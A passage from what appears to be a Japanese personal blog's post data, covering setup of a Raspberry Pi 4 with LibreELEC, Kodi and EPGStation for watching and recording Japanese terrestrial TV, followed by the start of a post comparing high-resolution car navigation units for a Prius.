Actionsで自動デプロイするように工夫してある。\n\n[GitHub - Harekaze/repository: Remote binary repository](https://github.com/Harekaze/repository)\n\n[harekaze.github.io/repository](https://harekaze.github.io/repository/)からアドオンリポジトリのアドオンをダウンロードし、LibreELECのKodiにインストールすることで、アドオンマネージャで管理できるようになる。さらに自動更新にも対応するので、これを使わない手は無い。\n\n\n## 用意するもの\n\n手軽に導入できそうなことがわかったので、機材を揃える。\n\n**Rasbperry Pi 4**\n\nこれがなきゃ始まらない。4GBモデルの方が不安がないが、2GBモデルでも多分動く。\n\n<a href=\"https://www.amazon.co.jp/%E3%80%90%E5%9B%BD%E5%86%85%E6%AD%A3%E8%A6%8F%E4%BB%A3%E7%90%86%E5%BA%97%E7%89%88%E3%80%91Raspberry-Pi-Model-4GB-RS%E7%89%88/dp/B07TC2BK1X/ref=as_li_ss_il?ie=UTF8&linkCode=li3&tag=mzyy-22&linkId=253958ad7a06306732a35d7a4c5cd1d1&language=ja_JP\" target=\"_blank\"><img border=\"0\" width=\"250\" src=\"//ws-fe.amazon-adsystem.com/widgets/q?_encoding=UTF8&ASIN=B07TC2BK1X&Format=_SL500_&ID=AsinImage&MarketPlace=JP&ServiceVersion=20070822&WS=1&tag=mzyy-22&language=ja_JP\" /></a>\n\n[Amazon \\| 【国内正規代理店版】Raspberry Pi 4 Model B/4GB OKdo版【技適マーク付】 \\| Raspberry Pi Shop by KSY \\| PCパーツ 通販](https://www.amazon.co.jp/%E3%80%90%E5%9B%BD%E5%86%85%E6%AD%A3%E8%A6%8F%E4%BB%A3%E7%90%86%E5%BA%97%E7%89%88%E3%80%91Raspberry-Pi-Model-4GB-RS%E7%89%88/dp/B07TC2BK1X/ref=as_li_ss_tl?ie=UTF8&linkCode=ll1&tag=mzyy-22&linkId=230e27678db710ac9dc1d919ff2eae2c&language=ja_JP)\n\n\n※起動に最低限必要な電源やケーブル類も用意しておく\n\n**Raspberry Pi STBケース**\n\n映像出力には発熱を伴うので、冷却できるケースを選ぶ。\nおすすめはこちら。冒頭の画像に写っているものだ。\n\nRaspberry Piはポート類が頭の悪い配置になっているので、全て背面に寄せられるケース。\n冷却ファン付きである上、microHDMIポートをType A HDMIに変換してくれ、尚且つ安価である。\n\n<a href=\"https://www.amazon.co.jp/gp/product/B087G9S7ZN/ref=as_li_ss_il?ie=UTF8&psc=1&linkCode=li3&tag=mzyy-22&linkId=59b76bcd38111b1f9d9654ca5d349be7&language=ja_JP\" target=\"_blank\"><img border=\"0\" width=\"250\" src=\"//ws-fe.amazon-adsystem.com/widgets/q?_encoding=UTF8&ASIN=B087G9S7ZN&Format=_SL500_&ID=AsinImage&MarketPlace=JP&ServiceVersion=20070822&WS=1&tag=mzyy-22&language=ja_JP\" /></a>\n\n[Amazon \\| GeeekPi Raspberry Pi 4セットトップボックスキット、ポート拡張ボード付き Raspberry Pi 4アクリルケース、4010ブルーLEDライトファン5V付き Raspberry Pi 4 Bに対応 \\| GeeekPi \\| ベアボーンPC 通販](https://www.amazon.co.jp/gp/product/B087G9S7ZN/ref=as_li_ss_tl?ie=UTF8&psc=1&linkCode=sl1&tag=mzyy-22&linkId=2749f179bad55eaadd5b0b016f050ff7&language=ja_JP)\n\n**microSD**\n\nDockerでサービスを動かしたりするので、耐久性のある32GBくらいの容量のものが必要。\nちゃんとしたメーカーのものであればどれでも良い。\n\n<a href=\"https://www.amazon.co.jp/10%E5%AF%BE%E5%BF%9C%E3%80%91Samsung-microSD%E3%82%AB%E3%83%BC%E3%83%8932GB-Nintendo-MB-MC32GA-ECO/dp/B06XSV23T1/ref=as_li_ss_il?ie=UTF8&linkCode=li3&tag=mzyy-22&linkId=0508cfbe1a9eeeffd15f4f89c86fef83&language=ja_JP\" target=\"_blank\"><img border=\"0\" width=\"250\" src=\"//ws-fe.amazon-adsystem.com/widgets/q?_encoding=UTF8&ASIN=B06XSV23T1&Format=_SL500_&ID=AsinImage&MarketPlace=JP&ServiceVersion=20070822&WS=1&tag=mzyy-22&language=ja_JP\" /></a>\n\n[Amazon.co.jp: Samsung EVO Plus 32GB microSDHC UHS-I U1 95MB/s Full HD Nintendo Switch動作確認済 MB-MC32GA/ECO 国内正規保証品: パソコン・周辺機器](https://www.amazon.co.jp/10%E5%AF%BE%E5%BF%9C%E3%80%91Samsung-microSD%E3%82%AB%E3%83%BC%E3%83%8932GB-Nintendo-MB-MC32GA-ECO/dp/B06XSV23T1/ref=as_li_ss_tl?ie=UTF8&linkCode=sl1&tag=mzyy-22&linkId=88e2993dbce36b35e23bb5c865ed3070&language=ja_JP)\n\n\n**USB地デジチューナー**\n\nLinuxにドライバーが組み込まれているチューナーを選ぶ。\n推奨はPLEXの地上デジタルチューナー。\n\n<a href=\"https://www.amazon.co.jp/%E3%83%97%E3%83%AC%E3%82%AF%E3%82%B9-PX-S1UD-V2-0-PLEX-USB%E6%8E%A5%E7%B6%9A%E3%83%89%E3%83%B3%E3%82%B0%E3%83%AB%E5%9E%8B%E5%9C%B0%E4%B8%8A%E3%83%87%E3%82%B8%E3%82%BF%E3%83%ABTV%E3%83%81%E3%83%A5%E3%83%BC%E3%83%8A%E3%83%BC/dp/B0141NFWSG/ref=as_li_ss_il?ie=UTF8&linkCode=li3&tag=mzyy-22&linkId=b721f1713b705beab1f11cd41d32b3a1&language=ja_JP\" target=\"_blank\"><img border=\"0\" width=\"250\" src=\"//ws-fe.amazon-adsystem.com/widgets/q?_encoding=UTF8&ASIN=B0141NFWSG&Format=_SL500_&ID=AsinImage&MarketPlace=JP&ServiceVersion=20070822&WS=1&tag=mzyy-22&language=ja_JP\" /></a>\n\n[Amazon.co.jp: PLEX USB接続ドングル型地上デジタルTVチューナー PX-S1UD V2.0: パソコン・周辺機器](https://www.amazon.co.jp/%E3%83%97%E3%83%AC%E3%82%AF%E3%82%B9-PX-S1UD-V2-0-PLEX-USB%E6%8E%A5%E7%B6%9A%E3%83%89%E3%83%B3%E3%82%B0%E3%83%AB%E5%9E%8B%E5%9C%B0%E4%B8%8A%E3%83%87%E3%82%B8%E3%82%BF%E3%83%ABTV%E3%83%81%E3%83%A5%E3%83%BC%E3%83%8A%E3%83%BC/dp/B0141NFWSG/ref=as_li_ss_tl?ie=UTF8&linkCode=ll1&tag=mzyy-22&linkId=7cb0e0457cf602b4fae00c9bbd6c2182&language=ja_JP)\n\n<del>だけど廉価なこっちでも普通に動いたので、こちらでも良い。</del>\n\n[<del>Amazon \\| USB接続ドングル型地上デジタルTVチューナー/薄型コンパクトPC用USB地デジチューナーPC用 USBバスパワー \\| MyGica \\| TVチューナー・キャプチャーボード 通販</del>](https://www.amazon.co.jp/gp/product/B0869HDJHJ/ref=as_li_ss_tl?ie=UTF8&psc=1&linkCode=sl1&tag=mzyy-22&linkId=2554f6fb58e710c7f98fa2d0f8e5213e&language=ja_JP)\n\n<Notice type=\"tip\">\n2020/09/17追記: MyGicaの安価なチューナーはもう取り扱いを終了したようだ。\n</Notice>\n\n**ICカードリーダー**\n\nB-CASカードを読むために必要。\n\n<a href=\"https://www.amazon.co.jp/Gemalto-%E3%82%B8%E3%82%A7%E3%83%A0%E3%82%A2%E3%83%AB%E3%83%88-IC%E3%82%AB%E3%83%BC%E3%83%89%E3%83%AA%E3%83%BC%E3%83%80%E3%83%BB%E3%83%A9%E3%82%A4%E3%82%BF-%E5%AF%BE%E5%BF%9C%E4%BD%8F%E5%9F%BA%E3%82%AB%E3%83%BC%E3%83%89%E7%94%A8PC-HWP119316/dp/B003XF2JJY/ref=as_li_ss_il?ie=UTF8&linkCode=li3&tag=mzyy-22&linkId=bb46cc12ae9a0c222cca6e9af79e41bc&language=ja_JP\" target=\"_blank\"><img border=\"0\" width=\"250\" src=\"//ws-fe.amazon-adsystem.com/widgets/q?_encoding=UTF8&ASIN=B003XF2JJY&Format=_SL500_&ID=AsinImage&MarketPlace=JP&ServiceVersion=20070822&WS=1&tag=mzyy-22&language=ja_JP\" /></a>\n\n[Amazon \\| 【国内正規品】Gemalto ジェムアルト ICカードリーダ・ライタ IDBridge CT30 電子申告(e-Tax)対応マイナンバー・住基カード用PC USB-TR HWP119316 \\| ジェムアルト \\| 外付メモリカードリーダー 通販](https://www.amazon.co.jp/Gemalto-%E3%82%B8%E3%82%A7%E3%83%A0%E3%82%A2%E3%83%AB%E3%83%88-IC%E3%82%AB%E3%83%BC%E3%83%89%E3%83%AA%E3%83%BC%E3%83%80%E3%83%BB%E3%83%A9%E3%82%A4%E3%82%BF-%E5%AF%BE%E5%BF%9C%E4%BD%8F%E5%9F%BA%E3%82%AB%E3%83%BC%E3%83%89%E7%94%A8PC-HWP119316/dp/B003XF2JJY/ref=as_li_ss_tl?ie=UTF8&linkCode=sl1&tag=mzyy-22&linkId=8af534afc3020cc24ae9c16d3d44da9a&language=ja_JP)\n\n**B-CASカード**\n\n安価な地デジチューナーにはB-CASカードがついていない。\n無い場合は、以下のフォームから **再発行** を申し込める。\n\n[B-CAS 株式会社 ビーエス・コンディショナルアクセスシステムズ](https://www.b-cas.co.jp/cardorder/view/order/agreement.html)\n\nただ、\"再発行\"とあるように、なくした場合や中古のチューナーを買った場合などに限られ、B-CASカードの付属しない新品のチューナーを買った場合の新規発行は受け付けていないようなので、持ってない場合は中古のTVチューナーを買うのが唯一の入手方法になる。\n\n**ポータブルHDD**\n\n録画データ保存用。USB 3.0対応であれば、どれでも良い。\n\n<a href=\"https://www.amazon.co.jp/BUFFALO-%E3%83%9F%E3%83%8B%E3%82%B9%E3%83%86%E3%83%BC%E3%82%B7%E3%83%A7%E3%83%B3-USB3-1-USB3-0%E7%94%A8%E3%83%9D%E3%83%BC%E3%82%BF%E3%83%96%E3%83%ABHDD-HD-PCFS1-0U3-BBA/dp/B07D795SV5/ref=as_li_ss_il?ie=UTF8&linkCode=li3&tag=mzyy-22&linkId=036ad8813ebc3bb0973d9844281d86c8&language=ja_JP\" target=\"_blank\"><img border=\"0\" width=\"250\" src=\"//ws-fe.amazon-adsystem.com/widgets/q?_encoding=UTF8&ASIN=B07D795SV5&Format=_SL500_&ID=AsinImage&MarketPlace=JP&ServiceVersion=20070822&WS=1&tag=mzyy-22&language=ja_JP\" /></a>\n\n[Amazon.co.jp: BUFFALO ミニステーション USB3.1(Gen1)/USB3.0用ポータブルHDD 1TB HD-PCFS1.0U3-BBA: パソコン・周辺機器](https://www.amazon.co.jp/BUFFALO-%E3%83%9F%E3%83%8B%E3%82%B9%E3%83%86%E3%83%BC%E3%82%B7%E3%83%A7%E3%83%B3-USB3-1-USB3-0%E7%94%A8%E3%83%9D%E3%83%BC%E3%82%BF%E3%83%96%E3%83%ABHDD-HD-PCFS1-0U3-BBA/dp/B07D795SV5/ref=as_li_ss_tl?ie=UTF8&linkCode=sl1&tag=mzyy-22&linkId=389b1beac3d7cf2d6666ae00e5162218&language=ja_JP)\n\n## 導入\n\n### 1. LibreELECのイメージをRaspberry Pi Imagerで書き込む\n\nRaspberry Pi公式のOS書き込みツールである[Raspberry Pi Imager](https://www.raspberrypi.org/downloads/)には、LibreELECが候補のOSとして登録されている。\n自分のRaspberry Piにあったイメージを選択し、microSDカードに焼き込む。\n\n\n\n### 2. Raspberry Piを準備する\n\n以下がやることリスト。\n電源が最後であれば、順番通りでなくても良い。\n\n1. microSDカードを入れる\n2. TVチューナーとアンテナ端子を繋げる\n3. カードリーダーとB-CASカードを接続する\n4. ポータブルHDDを繋げる\n5. LANケーブルを繋げる\n6. HDMIケーブルでテレビに繋ぐ\n7. 電源を繋ぐ\n\n### 3. LibreELECを起動してセットアップを進める\n\n初回の起動時にはLibreELECのセットアップが始まる。\nほとんどのテレビであれば、テレビのリモコンがHDMI/CECを通してLibreELECを操作できるようになっているため、リモコンを使ってセットアップを進めていく。リモコンが無かったり、うまく動かない場合はUSBキーボードを接続してセットアップを行うこともできる。\n\n途中、Sambaを有効にするかのオプションが出てくるため、有効にしておくように。\n\nデフォルト表示言語が英語のため日本語化が必要になるが、Googleがその方法を教えてくれるだろう。\n\n\nセットアップ完了後は、Kodiを操作できるスマホアプリを使うと快適に利用できる。\n\n- [「Sybu for Kodi and XBMC」をApp Storeで](https://itunes.apple.com/jp/app/sybu-for-kodi-and-xbmc/id567524653?mt=8&at=1l3v4mQ)\n- [Kore, Official Remote for Kodi - Google Play のアプリ](https://play.google.com/store/apps/details?id=org.xbmc.kore&hl=ja)\n\n\n### 4. リポジトリのzipをSambaで転送する\n\nセットアップが終わると、同じLANにつながっているWindowsやmacOSからLibreELECのSambaが見えるようになっている。\nSambaにあるDownloadsフォルダに[harekaze.github.io/repository](https://harekaze.github.io/repository/)からダウンロードしたリポジトリアドオンをコピーする。\n\n\n\n### 5. アドオンマネージャからリポジトリアドオンをインストールする\n\nKodiのアドオンメニューを進むと、「zipファイルからインストール」というメニューがあるため、そこからリポジトリアドオンをインストールしていく。初回は「提供元不明の〜」などといった警告が出るが、遷移先の設定画面で有効にすれば良い。\n\n\n\nzipファイル選択画面で、「ホーム→Downloads」と辿って先ほどのzipファイルを選択してインストールすれば、リポジトリが登録される。\n\n\n\n### 6. アドオンのインストール\n\n\n\n「リポジトリからインストール」メニューの中にHarekaze2リポジトリが登録されているはずなので、そこから必要なアドオンを追加していく。依存関係にあるDockerアドオンや、ffmpegアドオンもセットでインストールされるので、わざわざ先にインストールしておく必要はない。\n\n順番はmirakurun→EPGStation→pvr.epgstationが望ましい。\nDockerイメージの取得に時間がかかるため、気長に待つ。\n\n初期状態で特に設定をしなくても使えるようにしてあるが、SambaのConfigfilesディレクトリにMirakurunとEPGStationの設定ファイルがあるので、必要であれば調整はそこからできる。\n\n\n\n### 7. EPGStation録画先の変更\n\n\n\n接続したUSBハードディスクに録画を保存するようにepgstationサービスの設定画面を開き、録画先を変更する。\n\n### 8. pvr.epgstationの設定\n\n\n\nEPGStationのサービスが動いている`http://0.0.0.0:8888`を、pvr.epgstationの設定画面で指定する。\nアドオンを再起動すれば、お手軽地デジ視聴環境の出来上がり。\n\n\n\n\n\n\n\n### +α. 音ズレの解消\n\n\n\n\n音ズレするときは、Kodiの設定画面にあるプレイヤー設定の中の「ディスプレイの同期周波数に合わせて再生する」を有効にすると直る。\n\n\n## これまでの構成との比較\n\n遥か昔、地上デジタル放送をRaspberry Pi 2で視聴していた時期があった。\n\n<blockquote class=\"twitter-tweet\"><p lang=\"ja\" dir=\"ltr\">Raspberry Pi 2での地デジ視聴時の負荷<br />HWデコーダー有効にするとフレームドロップなしでCPU負荷はほぼゼロ <a href=\"http://t.co/rAzv7eCTGW\">pic.twitter.com/rAzv7eCTGW</a></p>&mdash; 体験価値 (@mzyy94) <a href=\"https://twitter.com/mzyy94/status/565610656809091072?ref_src=twsrc%5Etfw\">February 11, 2015</a></blockquote> <script async src=\"https://platform.twitter.com/widgets.js\" charset=\"utf-8\"></script>\n\nこれまでブログで紹介してきたように、地デジの視聴構成は以下のようになっていた。\n\n**地デジ用NAS**\n- NAS用OS [**Rockstor**](http://rockstor.com/)\n - [NAS用OSにRockstorという選択 \\| 犬アイコンのみっきー](../2016/2016-07-04-do-you-know-rockstor.md)\n- 地上デジタル放送視聴・録画管理アプリケーション [**Chinachu**](https://github.com/Chinachu/Chinachu)\n - [RockstorにChinachuを詰め込んで録画NAS作ろ \\| 犬アイコンのみっきー](../2016/2016-07-05-chinachu-rockon.md)\n\n**Raspberry Pi 2B**\n- メディアセンターアプリケーション [Kodi/XBMC](https://kodi.tv/)統合OS [**OSMC**](https://osmc.tv/)\n - [Raspberry Pi2にOSMC入れてKodi(旧:XBMC)日本語化するまで \\| 犬アイコンのみっきー](../2018/2015-02-16-raspberry-pi2-osmc-jp.md)\n- Kodi向けChinachu連携プラグイン [**pvr.chinachu**](https://github.com/Harekaze/pvr.chinachu)\n - [Harekaze for Kodi (pvr.chinachu) 4.0.0 リリース \\| 犬アイコンのみっきー](../2017/2017-02-04-pvr-chinachu-4.md)\n\n\n機器構成を練り直すついでに、導入手順を簡略化することにしたこともあって、当時と比べて随分とすっきりした。\n\n- 地デジ用NAS → **廃止。構築不要**\n- Chinachu → **EPGStation**\n- OSMC → **LibreELEC**\n- Raspberry Pi 2B → **Raspberry Pi 4B**\n- pvr.chinachu → **pvr.epgstation**\n\n機器構成の変化以上に、導入がものすごく手軽になった功績が大きい。\n\n## まとめ\n\nおうち時間を充実させていきましょう。\n"]}],[0,{"slug":[0,"2020/09/03/high-res-720p-car-navigation/"],"data":[0,{"title":[0,"9インチ720pの大画面・高解像度カーナビを探した"],"date":[3,"2020-09-03T13:30:00.000Z"],"image":[0,"/assets/images/2020/09/03/joying-package.jpg"],"author":[0,"mzyy94"],"categories":[1,[[0,"Automobile"]]],"tags":[1,[[0,"720p"],[0,"car-audio"],[0,"中華ナビ"],[0,"navigation"]]]}],"content":[0,"\nサンデードライバーとしてたまに遠出するために所有している[トヨタのプリウス30型](https://ja.wikipedia.org/wiki/%E3%83%88%E3%83%A8%E3%82%BF%E3%83%BB%E3%83%97%E3%83%AA%E3%82%A6%E3%82%B9_ZVW30)。知らない土地にもよく行くこともあって、もちろんカーナビゲーションシステム、いわゆるカーナビを搭載しているが、2010年ごろの型式のとても古いものだ。\n\n目まぐるしく変わる都市や新しい道は更新・追加されることなく、地デジもワンセグしか対応していない。\nそのため最近は[Yahoo!カーナビ](https://carnavi.yahoo.co.jp/)など、スマホのカーナビアプリを使うことが多くなってきたこともあり、あまり活用されなくなったこの古いカーナビを買い換えることにした。その買い替え商品を購入するまでの調査記録を残す。\n\n## 目次\n\n## 要求スペック\n\n求めるカーナビの要求スペックは、次の通りである。\n\n- 予算5万円\n- 高解像度\n- 大画面\n- プリウス純正品に近いフィット感\n- Apple CarPlayが使える\n\n上から優先度の高い順に並んでいる。譲れないのは価格と解像度だ。毎日乗るものではないので、あまりお金をかけられない。\n純正品に近いフィット感というのは、近頃よく売り出されている、まるで宙に浮いたようなフローティングタイプ**ではない**もののことを指している。\n見た目を気にするあまり、後付け感があまり好きではないからだ。\nカーナビと書いているが、ナビゲーションシステムはYahoo!カーナビなどで事足りる上に、[Yahoo!カーナビはApple CarPlayに対応している](https://carnavi.yahoo.co.jp/promo/carplay/)。\nそのため、地図のないカーオーディオもApple CarPlay対応であるものも選択肢に入れ、入れ替えるカーナビの候補として探した。\n\n## 商品調査\n\nそれぞれの要求スペックを満たすものを、数ヶ月かけて調査した。みっちり調査を続けていたというよりは、お目当てのものに行き着くまで数ヶ月かかったというだけの話である。\n\n### 大画面高解像度カーナビ\n\nカーナビのサイズは7インチ前後から、大きいものでは10インチなど、近年の大型化したスマートフォンと同じくらいの画面サイズを備えている。\nしかしながら画面の解像度は低く、特に注釈のないものはWVGA(800x480)であり、高画質やHDといわれるものでもほとんどが1024x600の低解像度であるということが、調査の過程でわかった。\nそう、大画面で高解像度のカーナビは選択肢が少ないのだ。\n\n\n<svg width=\"100%\" height=\"100%\" viewBox=\"0 0 564 423\" version=\"1.1\" xmlns=\"http://www.w3.org/2000/svg\" xmlns:xlink=\"http://www.w3.org/1999/xlink\" xml:space=\"preserve\" xmlns:serif=\"http://www.serif.com/\" style=\"fill-rule:evenodd;clip-rule:evenodd;stroke-linecap:round;stroke-linejoin:round;stroke-miterlimit:1.5;\" style=\"background-color: #fff\">\n <g transform=\"matrix(0.343291,0,0,0.331519,-60.2145,-0.488962)\">\n <rect x=\"424.518\" y=\"386.763\" width=\"1071.88\" height=\"624.345\" style=\"fill:rgb(235,235,235);stroke:black;stroke-width:4.16px;\"/>\n </g>\n <g transform=\"matrix(0.343291,0,0,0.331519,-60.2145,-0.488962)\">\n <path d=\"M424.518,1011.11L1496.4,386.763\" style=\"fill:none;stroke:black;stroke-width:4.16px;\"/>\n </g>\n <g transform=\"matrix(0.269572,0,0,0.260327,70.7802,91.9068)\">\n <rect x=\"424.518\" y=\"386.763\" width=\"1071.88\" height=\"624.345\" style=\"fill:rgb(235,235,235);stroke:black;stroke-width:5.29px;\"/>\n </g>\n <g transform=\"matrix(0.269572,0,0,0.260327,70.7802,91.9068)\">\n <path d=\"M424.518,1011.11L1496.4,386.763\" style=\"fill:none;stroke:black;stroke-width:5.29px;\"/>\n </g>\n <g transform=\"matrix(0.383301,0,0,0.383301,-77.1992,-20.5162)\">\n <g transform=\"matrix(1,0,0,1,2.27374e-13,-32.7961)\">\n <g transform=\"matrix(2.60892,-0,-0,2.60892,201.406,86.3211)\">\n <path d=\"M188.313,374.235L186.21,376.339L188.313,378.442\" style=\"fill:none;stroke:black;stroke-width:1.4px;stroke-linejoin:miter;stroke-miterlimit:10;\"/>\n <path d=\"M471.073,374.235L473.176,376.339L471.073,378.442\" style=\"fill:none;stroke:black;stroke-width:1.4px;stroke-linejoin:miter;stroke-miterlimit:10;\"/>\n <path d=\"M186.21,376.339L473.176,376.339\" style=\"fill:none;stroke:black;stroke-width:1.4px;\"/>\n </g>\n </g>\n <g transform=\"matrix(0.671112,0,0,1,349.588,-154.637)\">\n <rect x=\"904.518\" y=\"1159.35\" width=\"312.698\" height=\"61.295\" style=\"fill:white;\"/>\n </g>\n <g transform=\"matrix(0.421931,0,0,0.421931,567.057,559.705)\">\n <text x=\"961.008px\" y=\"1161.05px\" style=\"font-family:'ArialMT', 'Arial', sans-serif;font-size:129.686px;\">800 dpi</text>\n </g>\n </g>\n <g transform=\"matrix(2.34704e-17,0.383301,-0.383301,2.34704e-17,458.43,-133.033)\">\n <g transform=\"matrix(0.716327,0,0,1,189.895,-32.7961)\">\n <g transform=\"matrix(2.23013e-16,-2.60892,3.64208,1.5975e-16,219.422,1228.8)\">\n <path d=\"M63.678,130.825L61.575,128.722L59.471,130.825\" style=\"fill:none;stroke:black;stroke-width:1.4px;stroke-linejoin:miter;stroke-miterlimit:10;\"/>\n <path d=\"M63.678,331.618L61.575,333.721L59.471,331.618\" style=\"fill:none;stroke:black;stroke-width:1.4px;stroke-linejoin:miter;stroke-miterlimit:10;\"/>\n <path d=\"M61.575,128.722L61.575,333.721\" style=\"fill:none;stroke:black;stroke-width:1.4px;\"/>\n </g>\n </g>\n <g transform=\"matrix(0.671112,0,0,1,220.699,-154.637)\">\n <rect x=\"904.518\" y=\"1159.35\" width=\"312.698\" height=\"61.295\" style=\"fill:white;\"/>\n </g>\n <g transform=\"matrix(0.421931,0,0,0.421931,438.169,559.705)\">\n <text x=\"961.008px\" y=\"1161.05px\" style=\"font-family:'Arial-BoldMT', 'Arial', sans-serif;font-weight:700;font-size:129.686px;fill:rgb(255,0,148);\">600 dpi</text>\n </g>\n </g>\n <g transform=\"matrix(2.34704e-17,0.383301,-0.383301,2.34704e-17,899.28,-112.62)\">\n <g transform=\"matrix(0.56677,6.78305e-33,1.2326e-32,1,405.028,-32.7961)\">\n <g transform=\"matrix(2.8186e-16,-2.60892,4.60313,1.5975e-16,-196.22,2378.94)\">\n <path d=\"M504.529,194.453L502.425,192.349L500.322,194.453\" style=\"fill:none;stroke:black;stroke-width:1.4px;stroke-linejoin:miter;stroke-miterlimit:10;\"/>\n <path d=\"M504.529,352.031L502.425,354.134L500.322,352.031\" style=\"fill:none;stroke:black;stroke-width:1.4px;stroke-linejoin:miter;stroke-miterlimit:10;\"/>\n <path d=\"M502.425,192.349L502.425,354.134\" style=\"fill:none;stroke:black;stroke-width:1.4px;\"/>\n </g>\n </g>\n <g transform=\"matrix(0.671112,0,0,1,296.331,-154.637)\">\n <rect x=\"904.518\" y=\"1159.35\" width=\"312.698\" height=\"61.295\" style=\"fill:white;\"/>\n </g>\n <g transform=\"matrix(0.421931,0,0,0.421931,513.801,559.705)\">\n <text x=\"961.008px\" y=\"1161.05px\" style=\"font-family:'ArialMT', 'Arial', sans-serif;font-size:129.686px;\">480 dpi</text>\n </g>\n </g>\n <g transform=\"matrix(0.383301,0,0,0.383301,-166.839,-290.211)\">\n <g transform=\"matrix(1.27241,0,0,1,-214.921,-32.7961)\">\n <g transform=\"matrix(2.05037,-0,-0,2.60892,510.989,789.933)\">\n <path d=\"M87.78,104.54L85.677,106.644L87.78,108.747\" style=\"fill:none;stroke:black;stroke-width:1.4px;stroke-linejoin:miter;stroke-miterlimit:10;\"/>\n <path d=\"M449.253,104.54L451.357,106.644L449.253,108.747\" style=\"fill:none;stroke:black;stroke-width:1.4px;stroke-linejoin:miter;stroke-miterlimit:10;\"/>\n <path d=\"M85.677,106.644L451.357,106.644\" style=\"fill:none;stroke:black;stroke-width:1.4px;\"/>\n </g>\n </g>\n <g transform=\"matrix(0.79119,0,0,1,296.459,-154.637)\">\n <rect x=\"904.518\" y=\"1159.35\" width=\"312.698\" height=\"61.295\" style=\"fill:white;\"/>\n </g>\n <g transform=\"matrix(0.421931,0,0,0.421931,622.542,559.705)\">\n <text x=\"961.008px\" y=\"1161.05px\" style=\"font-family:'Arial-BoldMT', 'Arial', sans-serif;font-weight:700;font-size:129.686px;fill:rgb(255,0,148);\">1024 dpi</text>\n </g>\n <g transform=\"matrix(1.43361,0,0,1.43361,-946.255,-999.378)\">\n <text x=\"1241.54px\" y=\"1333.83px\" style=\"font-family:'Arial-BoldMT', 'Arial', sans-serif;font-weight:700;font-size:54.719px;\">1024*600</text>\n <text x=\"1491.06px\" y=\"1333.83px\" style=\"font-family:'HiraKakuProN-W6', 'Hiragino Kaku Gothic ProN', sans-serif;font-weight:600;font-size:54.719px;fill:rgb(255,0,148);\">高画質</text>\n </g>\n <g transform=\"matrix(1.43361,0,0,1.43361,-646.255,-79.378)\">\n <text x=\"1491.06px\" y=\"1333.83px\" style=\"font-family:'HiraKakuProN-W6', 'Hiragino Kaku Gothic ProN', sans-serif;font-weight:300;font-size:16.719px;\">※高画質を謳う商品説明のイメージ図</text>\n </g>\n </g>\n</svg>\n\n\n運転中に注視するわけではないので解像度に重きを置かないのもわかるが、個人的には720p以上の解像度が欲しいところだ。\nまた、チラ見する程度であるが故に、小さい画面では地図の確認もままならないので、9インチの大画面のものを探した。\n\n### 国内メーカー製カーナビ\n\n国内メーカー製の9インチ720pの解像度を持つ主な製品を探してみた。\n高精度の地図データの価値が含まれるからだろうか、結論から言うとどれも価格が要求を満たさなかった。ただ、品質とアフターサポートも加味すれば高すぎる買い物ではないと思う。\n\n\n#### カロッツェリア(パイオニア) サイバーナビ AVIC-CQ910\n\n<a href=\"https://www.amazon.co.jp/%E3%82%AB%E3%83%AD%E3%83%83%E3%83%84%E3%82%A7%E3%83%AA%E3%82%A2-%E3%83%91%E3%82%A4%E3%82%AA%E3%83%8B%E3%82%A2-%E3%82%B5%E3%82%A4%E3%83%90%E3%83%BC%E3%83%8A%E3%83%93-AVIC-CQ910-%E5%9C%B0%E5%9B%B3%E6%9B%B4%E6%96%B0%E6%9C%80%E5%A4%A73%E5%B9%B4%E5%88%86%E4%BB%98/dp/B07YNSKS63/ref=as_li_ss_il?ie=UTF8&linkCode=li3&tag=mzyy-22&linkId=e46230f7d9ad267d6d49f88e23c8606f&language=ja_JP\" target=\"_blank\"><img border=\"0\" src=\"//ws-fe.amazon-adsystem.com/widgets/q?_encoding=UTF8&ASIN=B07YNSKS63&Format=_SL500_&ID=AsinImage&MarketPlace=JP&ServiceVersion=20070822&WS=1&tag=mzyy-22&language=ja_JP\" ></a>\n\n[Amazon.co.jp: カロッツェリア(パイオニア) サイバーナビ AVIC-CQ910 9型 カーナビ フルセグ 地図更新最大3年分付 AVIC-CQ910: 車&バイク](https://www.amazon.co.jp/%E3%82%AB%E3%83%AD%E3%83%83%E3%83%84%E3%82%A7%E3%83%AA%E3%82%A2-%E3%83%91%E3%82%A4%E3%82%AA%E3%83%8B%E3%82%A2-%E3%82%B5%E3%82%A4%E3%83%90%E3%83%BC%E3%83%8A%E3%83%93-AVIC-CQ910-%E5%9C%B0%E5%9B%B3%E6%9B%B4%E6%96%B0%E6%9C%80%E5%A4%A73%E5%B9%B4%E5%88%86%E4%BB%98/dp/B07YNSKS63/ref=as_li_ss_tl?ie=UTF8&linkCode=sl1&tag=mzyy-22&linkId=07d1aa2a84d3a878cec562fd14483f88&language=ja_JP)\n\n\n値段も機能もハイエンドな9インチの720pカーナビのフラグシップモデル。Webブラウザを搭載していたり、Blu-rayレコーダーの録画を再生できたり、USBデータ通信端末とのセットがあったりと、とにかく機能てんこ盛り。\n取り付けキットで車種に合わせた埋め込み式にでき、後付け感が少ない。\nただし、プリウス30型の対応ナビ一覧に現れないので、残念ながら対応していないようだ。\n\n[プリウス(年式:H21/5~H27/12)用カーナビ \\| 車種別カーナビセレクト \\| カーナビ \\| カーナビ・カーAV(carrozzeria) \\| Pioneer](https://jpn.pioneer/ja/carrozzeria/carnavi/select/carnaviselect.php?id=222)\n\n- 価格 (執筆時): 209,295 円\n- 画面サイズ: 9インチ\n- 画面解像度: 1280x720\n- 画面タイプ: 埋め込み式 (プリウス30型非対応)\n- マルチメディア機能: 地上デジタルTVチューナー/HDMI入力/Wi-Fi/Bluetooth/DVD/USB/SD\n\n**製品ページ**: [AVIC-CQ910/CL910/CW910/CZ910系(AVIC-CQ910-DC / AVIC-CL910-DC / AVIC-CW910-DC / AVIC-CZ910-DC 等) \\| サイバーナビ \\| カーナビ・カーAV(carrozzeria) \\| パイオニア株式会社](https://jpn.pioneer/ja/carrozzeria/carnavi/cybernavi/avic-cq910-dc_avic-cl910-dc_avic-cw910-dc_avic-cz910-dc_avic-cq910_avic-cl910_avic-cw910_avic-cz910/)\n\n#### ケンウッド カーナビ 彩速ナビ 9型 MDV-M907HDF\n\n\n<a 